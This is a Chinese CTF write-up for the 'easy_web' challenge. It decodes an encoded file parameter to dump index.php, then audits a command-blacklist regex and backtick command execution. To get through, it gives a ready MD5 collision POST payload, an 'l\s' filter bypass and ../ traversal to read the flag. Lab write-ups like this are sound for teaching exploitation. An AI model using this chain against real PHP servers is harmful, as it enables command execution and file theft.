[青少年CTF] easy_web 详解+避坑

[青少年CTF] easy_web 详解+避坑_第1张图片

 首先打开环境

[青少年CTF] easy_web 详解+避坑_第2张图片

 查看源码

[青少年CTF] easy_web 详解+避坑_第3张图片

发现有个base64

解开后发现是图片源码

这让我联想到地址栏中的参数

 

 发现它经过了两次base64编码和一次十六进制编码

Base64 在线编码解码 | Base64 加密解密 - Base64.us

CTF在线工具-Hex在线编码|Hex在线解码|十六进制编码转换 (hiencode.com)

[青少年CTF] easy_web 详解+避坑_第4张图片

 解开后发现是图片名

[青少年CTF] easy_web 详解+避坑_第5张图片

 我们反向操作一波查看index.php的源码


[青少年CTF] easy_web 详解+避坑_第6张图片

 696e6465782e706870

[青少年CTF] easy_web 详解+避坑_第7张图片

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

下面传参

[青少年CTF] easy_web 详解+避坑_第8张图片

 进行base64解密

 [青少年CTF] easy_web 详解+避坑_第9张图片

 得到源码

';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"; } echo $cmd; echo "
"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>

代码审计

查看这里的关键代码

echo $cmd;
echo "
"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?>

发现是md5强碰撞
用网上现成的

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这里坑就来了我们需要使用hackbar先进行一次post传递搭配burp抓包

 post为任意字符

进行burp抓包

[青少年CTF] easy_web 详解+避坑_第10张图片

出现这样即为成功

接着我们将post参数替换成

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

 [青少年CTF] easy_web 详解+避坑_第11张图片

这里可以将img=删除因为我们已经绕过了

 [青少年CTF] easy_web 详解+避坑_第12张图片

 右击在重发模块中发送

注意这里的回显结果不能出现md5 is funny ~

下面我们进行了l\s绕过

[青少年CTF] easy_web 详解+避坑_第13张图片

这样即为成功 

下面在搭配../进行目录遍历 

[青少年CTF] easy_web 详解+避坑_第14张图片

 这里的%20是url编码是空格

这里发现了flag

我们打开它

[青少年CTF] easy_web 详解+避坑_第15张图片

这样就拿到了flag

希望小伙伴们可以一步一步的复现而不是直接填flag那样是没有效果滴!!! 

你可能感兴趣的:(CTF解题,安全)